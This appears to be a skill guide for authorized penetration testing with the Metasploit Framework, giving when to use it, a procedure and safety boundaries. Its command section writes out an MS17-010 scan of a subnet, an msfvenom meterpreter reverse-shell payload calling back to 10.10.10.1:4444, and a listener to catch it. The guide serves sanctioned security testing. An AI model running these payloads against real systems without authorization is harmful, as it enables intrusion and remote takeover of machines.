Metasploit Framework
Purpose
Use this skill only when the rules of engagement explicitly permit framework-managed auxiliary or exploit validation.
Phase Fit
- Primary: Validation and Controlled Impact Demonstration
- Secondary: Vulnerability Analysis, Retest and Closure
Use When
- Need a controlled auxiliary or exploit workflow for an approved target.
- Need repeatable framework-managed evidence collection.
- Need a narrowly bounded retest for a previously confirmed issue.
Avoid When
- Module choice or impact level is unclear.
- The engagement does not explicitly permit exploit-framework use.
Inputs
- Approved target scope
- Exact module or objective
- Stop conditions and impact ceiling
Procedure
- Start with search and auxiliary modules when possible.
- Use only the module needed for the specific approved hypothesis.
- Keep target scope minimal and evidence focused.
- Stop once the issue is confirmed to the approved standard.
- Preserve the exact module path and options for retest.
Command Syntax
Keep usage tightly bounded to the approved module and target scope.
# Launch console
msfconsole
# Non-interactive search and exit
msfconsole -q -x 'search type:auxiliary smb; exit'
# Inside msfconsole:
# Search for a module
msf6 > search type:exploit platform:windows smb
# Use, configure, and run a module
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(smb_ms17_010) > run
# Generate a payload with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f exe -o contoso-payload.exe
# Start a listener
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.1
msf6 > set LPORT 4444
msf6 > run
Evidence to Capture
- Exact module and target scope used
- Minimal proof path needed for the validated issue
- Preconditions and guardrails required for safe retest
Safety Boundaries
- Use only explicitly approved modules and targets.
- Avoid persistence, broad automation, or destructive actions unless separately authorized.